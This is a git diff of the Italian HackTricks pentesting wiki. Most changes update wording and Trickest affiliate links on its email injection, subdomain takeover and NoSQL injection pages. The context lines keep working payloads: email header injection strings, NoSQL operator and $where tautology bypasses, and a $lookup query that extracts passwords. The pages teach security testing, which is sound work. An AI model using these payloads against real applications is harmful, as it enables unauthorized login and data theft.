* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -155,7 +155,7 @@ Altri modi per supportare HackTricks:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli **strumenti comunitari più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) per costruire e **automatizzare facilmente flussi di lavoro** supportati dagli **strumenti della community più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}

View file

@ -17,14 +17,14 @@ Altri modi per supportare HackTricks:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=domain-subdomain-takeover) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=domain-subdomain-takeover" %}
## Domain takeover ## Domain takeover
Se scopri un dominio (dominio.tld) che viene **utilizzato da un servizio all'interno del perimetro** ma la **azienda** ha **perso la proprietà** di esso, puoi provare a **registrarlo** (se abbastanza economico) e far sapere all'azienda. Se questo dominio sta ricevendo alcune **informazioni sensibili** come un cookie di sessione tramite parametro **GET** o nell'intestazione **Referer**, questa è sicuramente una **vulnerabilità**. Se scopri un dominio (dominio.tld) che **è utilizzato da un servizio all'interno dello scope** ma la **azienda** ha **perso la proprietà** di esso, puoi provare a **registrarlo** (se abbastanza economico) e far sapere all'azienda. Se questo dominio sta ricevendo **informazioni sensibili** come un cookie di sessione tramite parametro **GET** o nell'intestazione **Referer**, questa è sicuramente una **vulnerabilità**.
### Subdomain takeover ### Subdomain takeover
@ -45,9 +45,9 @@ Ci sono diversi strumenti con dizionari per verificare possibili takeover:
* [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover) * [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover)
* [https://github.com/PentestPad/subzy](https://github.com/PentestPad/subzy) * [https://github.com/PentestPad/subzy](https://github.com/PentestPad/subzy)
#### Scansione dei sottodomini suscettibili di dirottamento con [BBOT](https://github.com/blacklanternsecurity/bbot): #### Scansione per Sottodomini Hijackabili con [BBOT](https://github.com/blacklanternsecurity/bbot):
I controlli di subdomain takeover sono inclusi nell'enumerazione predefinita dei sottodomini di BBOT. Le firme sono estratte direttamente da [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz). I controlli di subdomain takeover sono inclusi nell'enumerazione predefinita dei subdomini di BBOT. Le firme sono estratte direttamente da [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz).
```bash ```bash
bbot -t evilcorp.com -f subdomain-enum bbot -t evilcorp.com -f subdomain-enum
``` ```
@ -73,7 +73,7 @@ I certificati SSL, se generati dagli attaccanti tramite servizi come [_Let's Enc
### **Sicurezza dei Cookie e Trasparenza del Browser** ### **Sicurezza dei Cookie e Trasparenza del Browser**
La trasparenza del browser si estende anche alla sicurezza dei cookie, regolata da politiche come la [politica dello stesso origine](https://it.wikipedia.org/wiki/Politica_dello_stesso_origine). I cookie, spesso utilizzati per gestire sessioni e memorizzare token di accesso, possono essere sfruttati attraverso il subdomain takeover. Gli attaccanti possono **raccogliere i cookie di sessione** semplicemente indirizzando gli utenti a un sottodominio compromesso, mettendo a rischio i dati e la privacy degli utenti. La trasparenza del browser si estende anche alla sicurezza dei cookie, regolata da politiche come la [politica Same-origin](https://en.wikipedia.org/wiki/Same-origin\_policy). I cookie, spesso utilizzati per gestire sessioni e memorizzare token di accesso, possono essere sfruttati attraverso il subdomain takeover. Gli attaccanti possono **raccogliere i cookie di sessione** semplicemente indirizzando gli utenti a un sottodominio compromesso, mettendo a rischio i dati e la privacy degli utenti.
### **Email e Subdomain Takeover** ### **Email e Subdomain Takeover**
@ -104,14 +104,14 @@ Per i fornitori cloud, verificare la proprietà del dominio è cruciale per prev
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=domain-subdomain-takeover) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=domain-subdomain-takeover" %}
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:

View file

@ -3,22 +3,22 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
@ -28,7 +28,7 @@ Altri modi per supportare HackTricks:
``` ```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
``` ```
Il messaggio verrà inviato agli account del destinatario e del destinatario1. Il messaggio verrà inviato agli account destinatario e destinatario1.
### Iniettare l'argomento ### Iniettare l'argomento
``` ```
@ -72,7 +72,7 @@ Un attaccante può **iniettare parametri aggiuntivi per sendmail** in questo cas
L'interfaccia **sendmail** è **fornita dal software email MTA** (Sendmail, Postfix, Exim ecc.) installato sul sistema. Anche se la **funzionalità di base** (come i parametri -t -i -f) rimane **la stessa** per motivi di compatibilità, **altre funzioni e parametri** variano notevolmente a seconda dell'MTA installato. L'interfaccia **sendmail** è **fornita dal software email MTA** (Sendmail, Postfix, Exim ecc.) installato sul sistema. Anche se la **funzionalità di base** (come i parametri -t -i -f) rimane **la stessa** per motivi di compatibilità, **altre funzioni e parametri** variano notevolmente a seconda dell'MTA installato.
Ecco alcuni esempi di diverse pagine man dell'interfaccia del comando sendmail: Ecco alcuni esempi di diverse pagine man del comando/interfaccia sendmail:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html * Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html * Postfix MTA: http://www.postfix.org/mailq.1.html
@ -119,16 +119,16 @@ Alcuni servizi come **github** o **salesforce permettono** di creare un **indiri
### Account-Takeover ### Account-Takeover
Se un **servizio SSO** ti consente di **creare un account senza verificare l'indirizzo email fornito** (come **salesforce**) e poi puoi utilizzare quell'account per **accedere a un servizio diverso** che **affida** a salesforce, potresti accedere a qualsiasi account.\ Se un **servizio SSO** ti permette di **creare un account senza verificare l'indirizzo email fornito** (come **salesforce**) e poi puoi utilizzare quell'account per **accedere a un servizio diverso** che **affida** a salesforce, potresti accedere a qualsiasi account.\
_Nota che salesforce indica se l'email fornita è stata verificata o meno, quindi l'applicazione dovrebbe tenere conto di queste informazioni._ _Nota che salesforce indica se l'email fornita è stata verificata o meno, quindi l'applicazione dovrebbe tenere conto di queste informazioni._
## Rispondi a ## Reply-To
Puoi inviare un'email utilizzando _**Da: azienda.com**_ e _**Rispondi a: attaccante.com**_ e se viene inviata una **risposta automatica** a causa dell'email inviata **da** un **indirizzo interno**, l'**attaccante** potrebbe essere in grado di **ricevere** quella **risposta**. Puoi inviare un'email utilizzando _**Da: azienda.com**_ e _**Rispondi-A: attaccante.com**_ e se viene inviata una **risposta automatica** a causa dell'email inviata **da** un **indirizzo interno**, l'**attaccante** potrebbe essere in grado di **ricevere** quella **risposta**.
## Tasso di rimbalzo duro ## Tasso di rimbalzo duro
Alcuni servizi, come AWS, implementano una soglia nota come **Tasso di rimbalzo duro**, di solito impostata al 10%. Si tratta di una metrica critica, specialmente per i servizi di consegna email. Quando questo tasso viene superato, il servizio, come il servizio email di AWS, potrebbe essere sospeso o bloccato. Alcuni servizi, come AWS, implementano una soglia nota come **Tasso di Rimbalzo Duro**, di solito impostata al 10%. Si tratta di una metrica critica, specialmente per i servizi di consegna email. Quando questo tasso viene superato, il servizio, come il servizio email di AWS, potrebbe essere sospeso o bloccato.
Un **rimbalzo duro** si riferisce a un **email** che è stato restituito al mittente perché l'indirizzo del destinatario è invalido o inesistente. Ciò potrebbe verificarsi per vari motivi, come l'invio dell'email a un indirizzo inesistente, un dominio che non esiste realmente o il rifiuto del server del destinatario di accettare **email**. Un **rimbalzo duro** si riferisce a un **email** che è stato restituito al mittente perché l'indirizzo del destinatario è invalido o inesistente. Ciò potrebbe verificarsi per vari motivi, come l'invio dell'email a un indirizzo inesistente, un dominio che non esiste realmente o il rifiuto del server del destinatario di accettare **email**.
@ -136,7 +136,7 @@ Nel contesto di AWS, se invii 1000 email e 100 di esse risultano in rimbalzi dur
È cruciale mantenere un basso tasso di rimbalzo duro per garantire un servizio email ininterrotto e mantenere la reputazione del mittente. Monitorare e gestire la qualità degli indirizzi email nelle tue liste di invio può aiutare significativamente a raggiungere questo obiettivo. È cruciale mantenere un basso tasso di rimbalzo duro per garantire un servizio email ininterrotto e mantenere la reputazione del mittente. Monitorare e gestire la qualità degli indirizzi email nelle tue liste di invio può aiutare significativamente a raggiungere questo obiettivo.
Per informazioni più dettagliate, si può fare riferimento alla documentazione ufficiale di AWS su come gestire i rimbalzi e le segnalazioni [Gestione dei rimbalzi AWS SES](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types). Per informazioni più dettagliate, consultare la documentazione ufficiale di AWS su come gestire i rimbalzi e le segnalazioni [Gestione dei rimbalzi AWS SES](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
## Riferimenti ## Riferimenti
@ -147,22 +147,22 @@ Per informazioni più dettagliate, si può fare riferimento alla documentazione
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) per creare e **automatizzare flussi di lavoro** con potenti strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}

View file

@ -3,22 +3,22 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository di github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
@ -55,7 +55,7 @@ username[$exists]=true&password[$exists]=true
```javascript ```javascript
query = { $where: `this.username == '${username}'` } query = { $where: `this.username == '${username}'` }
``` ```
Un attaccante può sfruttare ciò inserendo stringhe come `admin' || 'a'=='a`, facendo sì che la query restituisca tutti i documenti soddisfacendo la condizione con una tautologia (`'a'=='a`). Questo è analogo agli attacchi di SQL injection in cui vengono utilizzati input come `' or 1=1-- -` per manipolare le query SQL. In MongoDB, iniezioni simili possono essere fatte utilizzando input come `' || 1==1//`, `' || 1==1%00`, o `admin' || 'a'=='a`. Un attaccante può sfruttare ciò inserendo stringhe come `admin' || 'a'=='a`, facendo sì che la query restituisca tutti i documenti soddisfacendo la condizione con una tautologia (`'a'=='a'`). Questo è analogo agli attacchi di SQL injection in cui vengono utilizzati input come `' or 1=1-- -` per manipolare le query SQL. In MongoDB, possono essere eseguite iniezioni simili utilizzando input come `' || 1==1//`, `' || 1==1%00`, o `admin' || 'a'=='a`.
``` ```
Normal sql: ' or 1=1-- - Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
@ -66,7 +66,7 @@ username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3} username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3... # True if the length equals 1,3...
``` ```
### Estrarre informazioni sui **dati** ### Estrarre informazioni **data**
``` ```
in URL (if length == 3) in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2} username[$ne]=toto&password[$regex]=a.{2}
@ -98,7 +98,7 @@ in JSON
``` ```
### Esecuzione Arbitraria di Funzioni PHP ### Esecuzione Arbitraria di Funzioni PHP
Utilizzando l'operatore **$func** della libreria [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (utilizzato per impostazione predefinita), potrebbe essere possibile eseguire una funzione arbitraria come in [questo report](https://swarm.ptsecurity.com/rce-cockpit-cms/). Utilizzando l'operatore **$func** della libreria [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (utilizzato per impostazione predefinita) potrebbe essere possibile eseguire una funzione arbitraria come in [questo report](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python ```python
"user":{"$func": "var_dump"} "user":{"$func": "var_dump"}
``` ```
@ -106,7 +106,7 @@ Utilizzando l'operatore **$func** della libreria [MongoLite](https://github.com/
### Ottenere informazioni da diverse collezioni ### Ottenere informazioni da diverse collezioni
È possibile utilizzare [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) per ottenere informazioni da una collezione diversa. Nell'esempio seguente, stiamo leggendo da una **collezione diversa** chiamata **`users`** e ottenendo i **risultati di tutte le voci** con una password corrispondente a un carattere jolly. È possibile utilizzare [$lookup](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) per ottenere informazioni da una collezione diversa. Nell'esempio seguente, stiamo leggendo da una **collezione diversa** chiamata **`users`** e ottenendo i **risultati di tutte le voci** con una password corrispondente a un carattere jolly.
**NOTA:** `$lookup` e altre funzioni di aggregazione sono disponibili solo se la funzione `aggregate()` è stata utilizzata per eseguire la ricerca anziché le più comuni funzioni `find()` o `findOne()`. **NOTA:** `$lookup` e altre funzioni di aggregazione sono disponibili solo se la funzione `aggregate()` è stata utilizzata per eseguire la ricerca anziché le più comuni funzioni `find()` o `findOne()`.
```json ```json
@ -130,12 +130,12 @@ Utilizzando l'operatore **$func** della libreria [MongoLite](https://github.com/
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
## Payload MongoDB ## Payloads MongoDB
Elenco [da qui](https://github.com/cr0hn/nosqlinjection\_wordlists/blob/master/mongodb\_nosqli.txt) Elenco [da qui](https://github.com/cr0hn/nosqlinjection\_wordlists/blob/master/mongodb\_nosqli.txt)
``` ```
@ -263,9 +263,9 @@ get_password(u)
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -274,7 +274,7 @@ Altri modi per supportare HackTricks:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli **strumenti della community più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli **strumenti comunitari più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}

View file

@ -3,18 +3,18 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
